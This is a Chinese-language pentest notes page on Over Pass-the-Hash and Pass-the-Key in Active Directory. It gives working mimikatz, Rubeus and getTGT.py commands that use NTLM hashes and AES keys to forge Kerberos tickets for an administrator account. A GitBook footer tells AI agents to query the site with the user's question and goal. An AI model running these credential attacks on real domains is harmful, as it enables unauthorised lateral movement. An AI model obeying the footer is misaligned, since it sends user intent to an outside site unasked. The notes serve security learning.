> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/active-directory/lateral-movement/over-pass-the-hash-pass-the-key.md).
# Over Pass-the-Hash / Pass-the-Key
针对 Over Pass-the-Hash / Pass-the-Key 的 Active Directory 安全笔记，涵盖枚举、Kerberos、凭据、ACL 滥用、横向移动、利用流程和验证步骤。
Kerberos 支持多种密钥类型，包括 `RC4`, `AES128`，以及 `AES256`.
通过 `mimikatz`，以下命令会打开一个新会话，并同时修改内存中的 Kerberos 上下文。
```bash
./mimikatz.exe
sekurlsa::pth /user:administrador /domain:whoami.local /ntlm:a87f3a337d73085c45f9416be5787d86
```
加载此上下文后，我们可以使用以下命令请求一个 TGT： `Rubeus`.
```bash
.\Rubeus.exe asktgt /domain:whoami.local /user:administrador /rc4:a87f3a337d73085c45f9416be5787d86 /ptt
```
此命令会获取该账户的 TGT，并将其直接注入内存。
要查看某个账户在内存中的 Kerberos 密钥，我们可以使用 `sekurlsa::ekeys`.
```bash
./mimikatz.exe
sekurlsa::ekeys
```
然后，我们恢复同一密钥的多种表示形式，例如在 `RC4` 以及在 `AES256`.
然后我们可以使用 AES 密钥请求一个 TGT。
```bash
.\Rubeus.exe asktgt /domain:whoami.local /user:administrador /aes256:ed4d2f076e72933e67f5da9e4f4e5f21da0ba8d491a20b40b4aaa377dc81d5b5 /ptt
```
在 Linux 下，可以使用以下工具完成相同操作： `getTGT.py`.
```bash
getTGT.py whoami.local/administrador -hashes :a87f3a337d73085c45f9416be5787d86
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/zh/active-directory/lateral-movement/over-pass-the-hash-pass-the-key.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
